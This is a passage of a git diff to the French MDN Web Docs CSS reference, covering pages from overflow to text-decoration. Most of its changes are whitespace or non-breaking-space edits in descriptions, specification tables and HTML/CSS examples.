'overflow-y')}} | {{Spec2('CSS3 Overflow')}} | | {{cssinfo}} diff --git a/files/fr/web/css/overflow/index.md b/files/fr/web/css/overflow/index.md index 26f0aee259..ef7313308e 100644 --- a/files/fr/web/css/overflow/index.md +++ b/files/fr/web/css/overflow/index.md @@ -11,7 +11,7 @@ La propriété CSS **`overflow`** est une [propriété raccourcie](/fr/docs/Web/ Lorsqu'on utilise la propriété `overflow` avec une autre valeur que `visible` (la valeur par défaut), cela entraîne la création [d'un nouveau contexte de formatage de bloc](/fr/docs/Web/Guide/CSS/Block_formatting_context). Cette création est nécessaire d'un point de vue technique. Ceci est nécessaire techniquement puisque si un élément flottant traverse l'élément avec barres de défilement, cela forcera l'encapsulation du contenu de ce dernier autour de l'élément flottant. L'encapsulation devrait alors se produire après chaque défilement de la barre et mènerait à une expérience utilisateur dégradée -Afin que la propriété `overflow` puisse avoir un effet, le conteneur de niveau de bloc doit avoir une hauteur limite (définie grâce à {{cssxref("height")}} ou {{cssxref("max-height")}}) ou avoir `white-space` avec la valeur `nowrap.` +Afin que la propriété `overflow` puisse avoir un effet, le conteneur de niveau de bloc doit avoir une hauteur limite (définie grâce à {{cssxref("height")}} ou {{cssxref("max-height")}}) ou avoir `white-space` avec la valeur `nowrap.` > **Note :** Si on définit un axe avec `visible` (la valeur par défaut) et qu'on définit l'autre axe avec une valeur différente, alors la valeur du premier axe (`visible`) sera considérée comme `auto`. diff --git a/files/fr/web/css/overscroll-behavior-x/index.md b/files/fr/web/css/overscroll-behavior-x/index.md index 9b826e5fc1..7fc4fbdf01 100644 --- a/files/fr/web/css/overscroll-behavior-x/index.md +++ b/files/fr/web/css/overscroll-behavior-x/index.md @@ -65,7 +65,7 @@ main > div { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ------------ | -| {{SpecName('Overscroll Behavior', '#propdef-overscroll-behavior-x', 'overscroll-behavior-x')}} | {{Spec2('Overscroll Behavior')}} | | +| {{SpecName('Overscroll Behavior', '#propdef-overscroll-behavior-x', 'overscroll-behavior-x')}} | {{Spec2('Overscroll Behavior')}} | | {{cssinfo}} diff --git a/files/fr/web/css/overscroll-behavior-y/index.md b/files/fr/web/css/overscroll-behavior-y/index.md index d0b61a6242..ea4cdaf7eb 100644 --- a/files/fr/web/css/overscroll-behavior-y/index.md +++ b/files/fr/web/css/overscroll-behavior-y/index.md @@ -53,13 +53,13 @@ La propriété `overscroll-behavior-x` est définie avec un des mots-clés défi } ``` -Voir {{cssxref("overscroll-behavior")}} pour un exemple complet et plus de détails. +Voir {{cssxref("overscroll-behavior")}} pour un exemple complet et plus de détails. ## Spécifications | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ------------ | -| {{SpecName('Overscroll Behavior', '#propdef-overscroll-behavior-y', 'overscroll-behavior-y')}} | {{Spec2('Overscroll Behavior')}} | | +| {{SpecName('Overscroll Behavior', '#propdef-overscroll-behavior-y', 'overscroll-behavior-y')}} | {{Spec2('Overscroll Behavior')}} | | {{cssinfo}} diff --git a/files/fr/web/css/overscroll-behavior/index.md b/files/fr/web/css/overscroll-behavior/index.md index 16e2cc1003..8056f3384e 100644 --- a/files/fr/web/css/overscroll-behavior/index.md +++ b/files/fr/web/css/overscroll-behavior/index.md @@ -81,7 +81,7 @@ Jusqu'à ce que le CSSWG publie son propre brouillon, la spécification est cons | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | ------------ | -| {{SpecName('CSS Overscroll Behavior', '#propdef-overscroll-behavior', 'overscroll-behavior')}} | {{Spec2('CSS Overscroll Behavior')}} | | +| {{SpecName('CSS Overscroll Behavior', '#propdef-overscroll-behavior', 'overscroll-behavior')}} | {{Spec2('CSS Overscroll Behavior')}} | | {{cssinfo}} diff --git a/files/fr/web/css/padding-block-end/index.md b/files/fr/web/css/padding-block-end/index.md index 46d4e35eac..a4f5c71ef6 100644 --- a/files/fr/web/css/padding-block-end/index.md +++ b/files/fr/web/css/padding-block-end/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/padding-block-end --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`padding-block-end`** définit le début logique de la zone de remplissage d'un élément de bloc. Cette propriété logique est traduite en une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs qui sont utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`padding-block-end`** définit le début logique de la zone de remplissage d'un élément de bloc. Cette propriété logique est traduite en une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs qui sont utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. Elle est à rapprocher des propriétés {{cssxref("padding-block-start")}}, {{cssxref("padding-inline-start")}} et {{cssxref("padding-inline-end")}} qui définissent les autres écarts de remplissage logiques d'un élément. diff --git a/files/fr/web/css/padding-block-start/index.md b/files/fr/web/css/padding-block-start/index.md index f9be8d7d0c..24d0594623 100644 --- a/files/fr/web/css/padding-block-start/index.md +++ b/files/fr/web/css/padding-block-start/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/padding-block-start --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`padding-block-start`** définit le début logique de la zone de remplissage d'un élément de bloc. Cette propriété logique est traduite en une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs qui sont utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`padding-block-start`** définit le début logique de la zone de remplissage d'un élément de bloc. Cette propriété logique est traduite en une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs qui sont utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. Elle est à rapprocher des propriétés {{cssxref("padding-block-end")}}, {{cssxref("padding-inline-start")}} et {{cssxref("padding-inline-end")}} qui définissent les autres écarts de remplissage logiques d'un élément. diff --git a/files/fr/web/css/padding-block/index.md b/files/fr/web/css/padding-block/index.md index cb96016492..83dc9d4598 100644 --- a/files/fr/web/css/padding-block/index.md +++ b/files/fr/web/css/padding-block/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/padding-block --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`padding-block`** définit l'espace de remplissage (_padding_) pour le début et la fin de l'axe de bloc de l'élément. Cette propriété logique peut correspondre à différentes propriétés physiques selon le mode d'écriture de l'élément, sa direction et l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("padding-top")}} et {{cssxref("padding-bottom")}} ou à {{cssxref("padding-right")}} et {{cssxref("padding-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`padding-block`** définit l'espace de remplissage (_padding_) pour le début et la fin de l'axe de bloc de l'élément. Cette propriété logique peut correspondre à différentes propriétés physiques selon le mode d'écriture de l'élément, sa direction et l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("padding-top")}} et {{cssxref("padding-bottom")}} ou à {{cssxref("padding-right")}} et {{cssxref("padding-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. ```css /* Valeurs de longueur */ diff --git a/files/fr/web/css/padding-inline-end/index.md b/files/fr/web/css/padding-inline-end/index.md index 5e11b47f70..d1538c3310 100644 --- a/files/fr/web/css/padding-inline-end/index.md +++ b/files/fr/web/css/padding-inline-end/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/padding-inline-end --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`padding-inline-end`** définit le décalage avec la fin de la zone de remplissage d'un élément, selon le mode d'écriture, la directionnalité et l'orientation du texte. Elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs définies pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`padding-inline-end`** définit le décalage avec la fin de la zone de remplissage d'un élément, selon le mode d'écriture, la directionnalité et l'orientation du texte. Elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs définies pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. Les autres parties « logiques » du remplissage sont définies grâce aux propriétés {{cssxref("padding-block-start")}}, {{cssxref("padding-block-end")}} et {{cssxref("padding-inline-start")}}. diff --git a/files/fr/web/css/padding-inline/index.md b/files/fr/web/css/padding-inline/index.md index 136ee341a6..c9c830559e 100644 --- a/files/fr/web/css/padding-inline/index.md +++ b/files/fr/web/css/padding-inline/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/padding-inline --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`padding-inline`** définit l'espace de remplissage (_padding_) pour le début et la fin de l'axe en ligne de l'élément. Cette propriété logique peut correspondre à différentes propriétés physiques selon le mode d'écriture de l'élément, sa direction et l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("padding-top")}} et {{cssxref("padding-bottom")}} ou à {{cssxref("padding-right")}} et {{cssxref("padding-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`padding-inline`** définit l'espace de remplissage (_padding_) pour le début et la fin de l'axe en ligne de l'élément. Cette propriété logique peut correspondre à différentes propriétés physiques selon le mode d'écriture de l'élément, sa direction et l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("padding-top")}} et {{cssxref("padding-bottom")}} ou à {{cssxref("padding-right")}} et {{cssxref("padding-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. ```css /* Valeurs de longueur */ diff --git a/files/fr/web/css/padding-left/index.md b/files/fr/web/css/padding-left/index.md index 3116605b51..282bd3ef25 100644 --- a/files/fr/web/css/padding-left/index.md +++ b/files/fr/web/css/padding-left/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/padding-left --- {{CSSRef}} -La propriété **`padding-left`** d'un élément correspond à l'espace nécessaire à la gauche d'un élément. La [zone de remplissage](/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte) correspond à l'espace entre le contenu et la bordure. `padding-left` ne peut pas recevoir de valeurs négatives. +La propriété **`padding-left`** d'un élément correspond à l'espace nécessaire à la gauche d'un élément. La [zone de remplissage](/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte) correspond à l'espace entre le contenu et la bordure. `padding-left` ne peut pas recevoir de valeurs négatives. {{EmbedInteractiveExample("pages/css/padding-left.html")}} diff --git a/files/fr/web/css/padding-right/index.md b/files/fr/web/css/padding-right/index.md index d28a0c6494..49333223b0 100644 --- a/files/fr/web/css/padding-right/index.md +++ b/files/fr/web/css/padding-right/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/padding-right --- {{CSSRef}} -La propriété **`padding-right`** d'un élément correspond à l'espace nécessaire à la droite d'un élément. La [zone de remplissage](/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte "http://developer.mozilla.org/en/CSS/Box_model#padding") correspond à l'espace entre le contenu et la bordure. `padding-right` ne peut pas recevoir de valeurs négatives. +La propriété **`padding-right`** d'un élément correspond à l'espace nécessaire à la droite d'un élément. La [zone de remplissage](/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte "http://developer.mozilla.org/en/CSS/Box_model#padding") correspond à l'espace entre le contenu et la bordure. `padding-right` ne peut pas recevoir de valeurs négatives. {{EmbedInteractiveExample("pages/css/padding-right.html")}} diff --git a/files/fr/web/css/path()/index.md b/files/fr/web/css/path()/index.md index cfc0fcd2c1..fb6b5f61a6 100644 --- a/files/fr/web/css/path()/index.md +++ b/files/fr/web/css/path()/index.md @@ -10,7 +10,7 @@ La [fonction](/fr/docs/Web/CSS/CSS_Functions) [CSS](/fr/docs/Web/CSS) **`path()` ## Syntaxe ```css -path( [[<'fill-rule'>,]?<string>) +path( [[<'fill-rule'>,]?<string>) ``` ### Paramètres diff --git a/files/fr/web/css/perspective/index.md b/files/fr/web/css/perspective/index.md index 26a72c66ee..4566cac26b 100644 --- a/files/fr/web/css/perspective/index.md +++ b/files/fr/web/css/perspective/index.md @@ -14,7 +14,7 @@ La propriété **`perspective`** détermine la distance entre le plan d'équatio {{EmbedInteractiveExample("pages/css/perspective.html")}} -Les parties des éléments 3D qui se situent derrière l'utilisateur (c'est-à-dire ceux pour lesquels leur coordonnée en z est plus grande que la valeur de la propriété `perspective`) ne sont pas dessiné. +Les parties des éléments 3D qui se situent derrière l'utilisateur (c'est-à-dire ceux pour lesquels leur coordonnée en z est plus grande que la valeur de la propriété `perspective`) ne sont pas dessiné. Par défaut, le point de fuite est placé au centre de l'élément mais il peut être déplacé grâce à la propriété {{cssxref("perspective-origin")}}. @@ -138,7 +138,7 @@ perspective: unset; perspective: 500px; } .pers650 { - perspective: 650px; + perspective: 650px; } /* On définit le div pour le conteneur, */ diff --git a/files/fr/web/css/place-content/index.md b/files/fr/web/css/place-content/index.md index 8b658a4163..2510d39bca 100644 --- a/files/fr/web/css/place-content/index.md +++ b/files/fr/web/css/place-content/index.md @@ -115,12 +115,12 @@ div > div { ```html <div id="container"> - <div class="small">Lorem</div> - <div class="small">Lorem<br/>ipsum</div> - <div class="large">Lorem</div> - <div class="large">Lorem<br/>impsum</div> - <div class="large"></div> - <div class="large"></div> + <div class="small">Lorem</div> + <div class="small">Lorem<br/>ipsum</div> + <div class="large">Lorem</div> + <div class="large">Lorem<br/>impsum</div> + <div class="large"></div> + <div class="large"></div> </div> ``` @@ -151,7 +151,7 @@ div > div { <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</option> </select> -<select id="justifyContentAlignment"> +<select id="justifyContentAlignment"> <option value="normal">normal</option> <option value="space-between">space-between</option> <option value="space-around">space-around</option> diff --git a/files/fr/web/css/place-items/index.md b/files/fr/web/css/place-items/index.md index 33a3d4b4d5..c2b1d82d0f 100644 --- a/files/fr/web/css/place-items/index.md +++ b/files/fr/web/css/place-items/index.md @@ -183,26 +183,26 @@ select { <div class="row"> <label for="values">place-items: </label> <select id="values"> - <option value="start">start</option> - <option value="center">center</option> - <option value="end">end</option> - <option value="left">left</option> - <option value="right">right</option> - <option value="auto center">auto center</option> - <option value="normal start">normal start</option> - <option value="center normal">center normal</option> - <option value="start auto">start auto</option> - <option value="end normal">end normal</option> - <option value="self-start auto">self-start auto</option> - <option value="self-end normal">self-end normal</option> - <option value="flex-start auto">flex-start auto</option> - <option value="flex-end normal">flex-end normal</option> - <option value="left auto">left auto</option> - <option value="right normal">right normal</option> - <option value="baseline normal">baseline normal</option> - <option value="first baseline auto">first baseline auto</option> - <option value="last baseline normal">last baseline normal</option> - <option value="stretch auto">stretch auto</option> + <option value="start">start</option> + <option value="center">center</option> + <option value="end">end</option> + <option value="left">left</option> + <option value="right">right</option> + <option value="auto center">auto center</option> + <option value="normal start">normal start</option> + <option value="center normal">center normal</option> + <option value="start auto">start auto</option> + <option value="end normal">end normal</option> + <option value="self-start auto">self-start auto</option> + <option value="self-end normal">self-end normal</option> + <option value="flex-start auto">flex-start auto</option> + <option value="flex-end normal">flex-end normal</option> + <option value="left auto">left auto</option> + <option value="right normal">right normal</option> + <option value="baseline normal">baseline normal</option> + <option value="first baseline auto">first baseline auto</option> + <option value="last baseline normal">last baseline normal</option> + <option value="stretch auto">stretch auto</option> </select> </div> ``` diff --git a/files/fr/web/css/place-self/index.md b/files/fr/web/css/place-self/index.md index 0e96a5452e..7dff47e681 100644 --- a/files/fr/web/css/place-self/index.md +++ b/files/fr/web/css/place-self/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/place-self --- {{CSSRef}} -La propriété **`place-self`** est une [propriété raccourcie](/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies) qui permet de paramétrer les valeurs des propriétés {{cssxref("align-self")}} et {{cssxref("justify-self")}}. La première valeur sera utilisée pour `align-self` et la seconde pour `justify-self`. S'il n'y a pas de seconde valeur, la première sera également utilisée pour `justify-self`. +La propriété **`place-self`** est une [propriété raccourcie](/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies) qui permet de paramétrer les valeurs des propriétés {{cssxref("align-self")}} et {{cssxref("justify-self")}}. La première valeur sera utilisée pour `align-self` et la seconde pour `justify-self`. S'il n'y a pas de seconde valeur, la première sera également utilisée pour `justify-self`. {{EmbedInteractiveExample("pages/css/place-self.html")}} diff --git a/files/fr/web/css/pseudo-classes/index.md b/files/fr/web/css/pseudo-classes/index.md index 1c844c04d1..079577412f 100644 --- a/files/fr/web/css/pseudo-classes/index.md +++ b/files/fr/web/css/pseudo-classes/index.md @@ -92,7 +92,7 @@ Les pseudo-classes permettent d'appliquer un style à un élément non seulement - {{CSSxRef(":user-invalid")}} {{Experimental_Inline}} - {{CSSxRef(":valid")}} - {{CSSxRef(":visited")}} -- {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} +- {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} ## Exemples @@ -113,19 +113,19 @@ p:nth-child(2n+1) { ```html <div> <p class="survol"> - La Reine devint pourpre de colère ; et après + La Reine devint pourpre de colère ; et après l’avoir considérée un moment avec des yeux flamboyants comme ceux d’une bête fauve, elle - se mit à crier : « Qu’on lui coupe la tête ! » + se mit à crier : « Qu’on lui coupe la tête ! » </p> <p> - « Quelle idée ! » dit Alice très-haut et d’un + « Quelle idée ! » dit Alice très-haut et d’un ton décidé. La Reine se tut. </p> <p> Le Roi lui posa la main sur le bras, et lui - dit timidement : « Considérez donc, ma chère - amie, que ce n’est qu’une enfant. » + dit timidement : « Considérez donc, ma chère + amie, que ce n’est qu’une enfant. » </p> </div> ``` @@ -174,7 +174,7 @@ p:nth-child(2n+1) { </p> <p> Changement afin que <code>:empty</code> se comporte comme - {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}}. + {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}}. </p> <p> Aucune modification significative pour les pseudo-classes définies @@ -222,7 +222,7 @@ p:nth-child(2n+1) { <td> Définition de <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code> et <code>:focus</code>.<br />Aucune modification - significative pour les pseudo-classes définies avec + significative pour les pseudo-classes définies avec {{SpecName('CSS1')}}. </td> </tr> diff --git a/files/fr/web/css/quotes/index.md b/files/fr/web/css/quotes/index.md index 02fcdbb876..7036eaf34f 100644 --- a/files/fr/web/css/quotes/index.md +++ b/files/fr/web/css/quotes/index.md @@ -73,7 +73,7 @@ q { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("CSS3 Content", "#quotes", "quotes")}} | {{Spec2("CSS3 Content")}} | | +| {{SpecName("CSS3 Content", "#quotes", "quotes")}} | {{Spec2("CSS3 Content")}} | | | {{SpecName('CSS2.1', 'generate.html#quotes', 'quotes')}} | {{Spec2('CSS2.1')}} | Définition initiale | {{cssinfo}} diff --git a/files/fr/web/css/ratio/index.md b/files/fr/web/css/ratio/index.md index cc926f417f..8a58889b12 100644 --- a/files/fr/web/css/ratio/index.md +++ b/files/fr/web/css/ratio/index.md @@ -25,7 +25,7 @@ Une valeur de ce type se compose d'un entier strictement positif (type {{cssxref ### Ratios fréquemment utilisés -| | Ratio | Utilisation | +| | Ratio | Utilisation | | -------------------- | --------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- | |  | `4/3` | Format traditionnel utilisé par les télévisions au XX<sup>e</sup> siècle. | |  | `16/9` | Format « moderne » des télévisions. | diff --git a/files/fr/web/css/resize/index.md b/files/fr/web/css/resize/index.md index 4a28c415f3..9ce19a1dbc 100644 --- a/files/fr/web/css/resize/index.md +++ b/files/fr/web/css/resize/index.md @@ -63,7 +63,7 @@ Par défaut, les éléments {{HTMLElement("textarea")}} peuvent être redimensio ```css textarea.exemple { - resize: none; + resize: none; } ``` @@ -108,7 +108,7 @@ p { <p class="redimensionnable"> Ce paragraphe peut être redimensionné car la propriété CSS resize vaut 'both' sur cet élément. - </p> + </p> </div> ``` diff --git a/files/fr/web/css/right/index.md b/files/fr/web/css/right/index.md index 206f0785a9..c3c30c827e 100644 --- a/files/fr/web/css/right/index.md +++ b/files/fr/web/css/right/index.md @@ -53,7 +53,7 @@ right: unset; - pour les éléments à positionnement relatif : le décalage à droite que l'élément subit par rapport à sa position dans le flux normal s'il n'était pas positionné. - `<percentage>` - - : Une valeur de type {{cssxref("<percentage>")}} représentant le pourcentage de la largeur du bloc englobant. + - : Une valeur de type {{cssxref("<percentage>")}} représentant le pourcentage de la largeur du bloc englobant. - `auto` - : Un mot-clé qui représente : diff --git a/files/fr/web/css/rotate/index.md b/files/fr/web/css/rotate/index.md index 853720f5a9..c4f5572552 100644 --- a/files/fr/web/css/rotate/index.md +++ b/files/fr/web/css/rotate/index.md @@ -52,7 +52,7 @@ rotate: 1 1 1 90deg; ```html <div> - <p class="rotate">Rotation</p> + <p class="rotate">Rotation</p> </div> ``` diff --git a/files/fr/web/css/ruby-position/index.md b/files/fr/web/css/ruby-position/index.md index 2897165c1c..ddf0332933 100644 --- a/files/fr/web/css/ruby-position/index.md +++ b/files/fr/web/css/ruby-position/index.md @@ -45,8 +45,8 @@ Ce fragment HTML rendra un résultat différent pour chaque valeur de `ruby-posi ```html <ruby> - <rb>超電磁砲</rb> - <rp>（</rp><rt>レールガン</rt><rp>）</rp> + <rb>超電磁砲</rb> + <rp>（</rp><rt>レールガン</rt><rp>）</rp> </ruby> ``` @@ -54,14 +54,14 @@ Ce fragment HTML rendra un résultat différent pour chaque valeur de `ruby-posi ```html hidden <ruby> - <rb>超電磁砲</rb> - <rp>（</rp><rt>レールガン</rt><rp>）</rp> + <rb>超電磁砲</rb> + <rp>（</rp><rt>レールガン</rt><rp>）</rp> </ruby> ``` ```css ruby { - ruby-position:over; + ruby-position:over; } ``` @@ -73,14 +73,14 @@ On obtiendra le résultat suivant : ```html hidden <ruby> - <rb>超電磁砲</rb> - <rp>（</rp><rt>レールガン</rt><rp>）</rp> + <rb>超電磁砲</rb> + <rp>（</rp><rt>レールガン</rt><rp>）</rp> </ruby> ``` ```css ruby { - ruby-position:under; + ruby-position:under; } ``` diff --git a/files/fr/web/css/scale/index.md b/files/fr/web/css/scale/index.md index 2d6a6ebcc5..65ec03ee20 100644 --- a/files/fr/web/css/scale/index.md +++ b/files/fr/web/css/scale/index.md @@ -47,7 +47,7 @@ scale: 2 0.5 2; ```html <div> - <p class="scale">Scaling</p> + <p class="scale">Scaling</p> </div> ``` diff --git a/files/fr/web/css/scroll-snap-destination/index.md b/files/fr/web/css/scroll-snap-destination/index.md index b92ac8f852..a5b2aa4811 100644 --- a/files/fr/web/css/scroll-snap-destination/index.md +++ b/files/fr/web/css/scroll-snap-destination/index.md @@ -42,27 +42,27 @@ scroll-snap-destination: unset; <div> <p>Coordonnées (0, 0)</p> <div class="scrollContainer destination0"> - <div>1</div> - <div>2</div> - <div>3</div> + <div>1</div> + <div>2</div> + <div>3</div> </div> </div> <div> <p>Coordonnées (25, 0)</p> <div class="scrollContainer destination25"> - <div>1</div> - <div>2</div> - <div>3</div> + <div>1</div> + <div>2</div> + <div>3</div> </div> </div> <div> <p>Coordonnées (50, 0)</p> <div class="scrollContainer destination50"> - <div>1</div> - <div>2</div> - <div>3</div> + <div>1</div> + <div>2</div> + <div>3</div> </div> </div> </div> diff --git a/files/fr/web/css/scroll-snap-points-x/index.md b/files/fr/web/css/scroll-snap-points-x/index.md index 752ecde0f1..1eb8066c03 100644 --- a/files/fr/web/css/scroll-snap-points-x/index.md +++ b/files/fr/web/css/scroll-snap-points-x/index.md @@ -44,9 +44,9 @@ scroll-snap-points-x: unset; ```html <div id="container"> - <div>1</div> - <div>2</div> - <div>3</div> + <div>1</div> + <div>2</div> + <div>3</div> </div> ``` @@ -54,12 +54,12 @@ scroll-snap-points-x: unset; ```css #container { - width: 200px; - overflow: auto; - white-space: nowrap; - scroll-snap-points-x: repeat(100%); - scroll-snap-type: mandatory; - font-size: 0; + width: 200px; + overflow: auto; + white-space: nowrap; + scroll-snap-points-x: repeat(100%); + scroll-snap-type: mandatory; + font-size: 0; } #container > div { diff --git a/files/fr/web/css/scroll-snap-points-y/index.md b/files/fr/web/css/scroll-snap-points-y/index.md index f8d1e9f162..a1a0640bea 100644 --- a/files/fr/web/css/scroll-snap-points-y/index.md +++ b/files/fr/web/css/scroll-snap-points-y/index.md @@ -45,9 +45,9 @@ scroll-snap-points-y: unset; ```html <div id="container"> - <div>1</div> - <div>2</div> - <div>3</div> + <div>1</div> + <div>2</div> + <div>3</div> </div> ``` diff --git a/files/fr/web/css/scroll-snap-type/index.md b/files/fr/web/css/scroll-snap-type/index.md index 2961d1ffb3..57ece68cd8 100644 --- a/files/fr/web/css/scroll-snap-type/index.md +++ b/files/fr/web/css/scroll-snap-type/index.md @@ -56,7 +56,7 @@ scroll-snap-type: unset; - `mandatory` - : Le _viewport_ visuel du conteneur doit s'arrêter sur les points d'accroche s'il n'est pas en cours de défilement. Cela signifie qu'il accroche sur ce point quand le défilement s'arrête. Si du contenu est ajouté, déplacé, supprimé ou redimensionné, le décalage induit doit être ajusté pour rester sur ce point d'accroche. - `proximity` - - : Le _viewport_ visuel du conteneur peut s'accrocher à un point d'accroche si aucun défilement n'est en cours, selon les paramètres de défilement de l'agent utilisateur. Si du contenu est ajouté, déplacé, supprimé ou redimensionne, le décalage induit peut être ajusté pour rester sur ce point d'accroche. + - : Le _viewport_ visuel du conteneur peut s'accrocher à un point d'accroche si aucun défilement n'est en cours, selon les paramètres de défilement de l'agent utilisateur. Si du contenu est ajouté, déplacé, supprimé ou redimensionne, le décalage induit peut être ajusté pour rester sur ce point d'accroche. ### Syntaxe formelle diff --git a/files/fr/web/css/selector_list/index.md b/files/fr/web/css/selector_list/index.md index 24e47e6a8d..3da51d89cd 100644 --- a/files/fr/web/css/selector_list/index.md +++ b/files/fr/web/css/selector_list/index.md @@ -87,4 +87,4 @@ h3 { font-family: sans-serif } ## Voir aussi -- Les pseudo-classes {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} et {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} qui n'ont pas ce problème historique d'invalidation des listes de sélecteurs. +- Les pseudo-classes {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} et {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} qui n'ont pas ce problème historique d'invalidation des listes de sélecteurs. diff --git a/files/fr/web/css/text-align/index.md b/files/fr/web/css/text-align/index.md index 78cabf13aa..f5d1f49380 100644 --- a/files/fr/web/css/text-align/index.md +++ b/files/fr/web/css/text-align/index.md @@ -177,7 +177,7 @@ La méthode la plus générique pour centrer un bloc plutot que de centrer son c L'espacement créé entre les mots par la justification du texte peut rendre la lecture difficile pour les personnes dyslexiques ou souffrant de troubles cognitifs. - [Comprendre les règles WCAG 1.4](https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background) -- [_Understanding Success Criterion 1.4.8 | Understanding WCAG 2.0_ (en anglais)](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html) +- [_Understanding Success Criterion 1.4.8 | Understanding WCAG 2.0_ (en anglais)](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html) ## Spécifications diff --git a/files/fr/web/css/text-decoration/index.md b/files/fr/web/css/text-decoration/index.md index b8fc9e345b..d4196bb280 100644 --- a/files/fr/web/css/text-decoration/index.md +++ b/files/fr/web/css/text-decoration/index.md @@ -12,7 +12,7 @@ translation_of: Web/CSS/text-decoration La propriété **`text-decoration`** est utilisée pour « décorer » le texte en ajoutant une ligne pouvant être positionnée sous, sur ou à travers le texte. C'est une [propriété raccourcie](/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies) qui permet de paramétrer simultanément les propriétés « détaillées » : {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}} et {{cssxref("text-decoration-style")}}. -{{EmbedInteractiveExample("pages/css/text-decoration.html")}}Ces décorations se propagent sur les différents éléments enfants. Cela signifie qu'il n'est pas possible de désactiver la décoration d'un élément descendant pour lequel un ancêtre est décoré. Par exemple, avec ce fragment de HTML `<p>Ce texte a <em> des mots mis en avant</em> dedans.</p>`, et cette règle CSS `p { text-decoration: underline; }`, on aura tout le paragraphe souligné, même si on applique la règle `em { text-decoration: none; }`, cela n'aurait aucun impact. En revanche, ajouter la règle `em { text-decoration: overline; }` entraînerait un cumul des décorations pour « des 